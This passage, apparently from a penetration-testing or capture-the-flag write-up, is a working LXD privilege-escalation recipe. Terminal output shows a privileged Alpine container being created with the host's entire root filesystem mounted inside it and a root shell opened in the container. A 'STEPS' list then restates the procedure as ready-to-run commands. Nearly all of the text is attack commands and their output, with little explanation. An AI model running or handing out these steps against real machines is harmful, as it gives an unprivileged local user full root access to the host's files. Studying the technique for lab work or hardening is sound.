alpine-v3.14-x86_64-20210718_0421.tar.gz
<image import alpine-v3.14-i686-20210718_0428.tar.gz --alias myimage
<nit myimage mycontainer -c security.privileged=true
Creating mycontainer
<ydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to mycontainer
namelessone@anonymous:~$ lxc start mycontainer
namelessone@anonymous:~$ lxc exec mycontainer /bin/sh
~ # ls
~ # cd /
/ # ls
bin  etc  lib  mnt  proc  run  srv  tmp  var
dev  home  media  opt  root /sbin  sys  usr
/ # cd root
```

=====

#### STEPS:

```
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
./build-alpine -a i686

# import the image
lxc image import ./alpine.tar.gz --alias myimage

# run the image
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
```